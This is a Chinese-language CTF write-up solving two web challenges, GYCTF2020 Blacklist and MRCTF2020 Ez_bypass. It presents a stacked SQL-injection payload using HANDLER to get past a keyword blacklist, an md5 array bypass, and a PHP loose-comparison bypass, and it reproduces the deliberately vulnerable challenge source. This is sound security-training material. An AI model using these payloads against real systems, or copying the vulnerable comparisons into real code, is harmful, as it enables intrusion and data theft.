[GYCTF2020]Blacklist
SQL害的多练练
黑名单:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);
1 => 正常
1’ => 正常
1’ or 1# => 正常
1’ and 0# => 不回应
猜字符型注入
1’ order by 3 #
开始报错,字段数为2
那么接下来怎么办?他把SELECT屏蔽了啊
怎么办怎么办怎么办?
SQL注入之堆叠注入
堆叠注入,就是将语句堆叠在一起进行查询
1’;show tables#
array(1) {
[0]=>
string(8) "FlagHere"
}
array(1) {
[0]=>
string(5) "words"
}
看得见,怎么读?
用handler
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
[MRCTF2020]Ez_bypass
道理我都懂,可这字为什么这么大
GET两个参数,要md5相等
POST一个参数,和1234567弱相等
md5绕过,先来个数组
http://b811952b-3688-4e7a-8477-0fd758fa25b2.node3.buuoj.cn/
?gg[]=1&id[]=1
警告了它只要字符,和一个路径
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
You are not a real hacker!
哦不好意思,忘在post里传参数了
这是第二次的
应该是 if($passwd==1234567)这里出了问题
试一下passwd=1234567a
在弱比较的时候,把前面当成数字
成了!
顺便提一下,才发现F12可以看格式化好的代码
呜呜呜
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}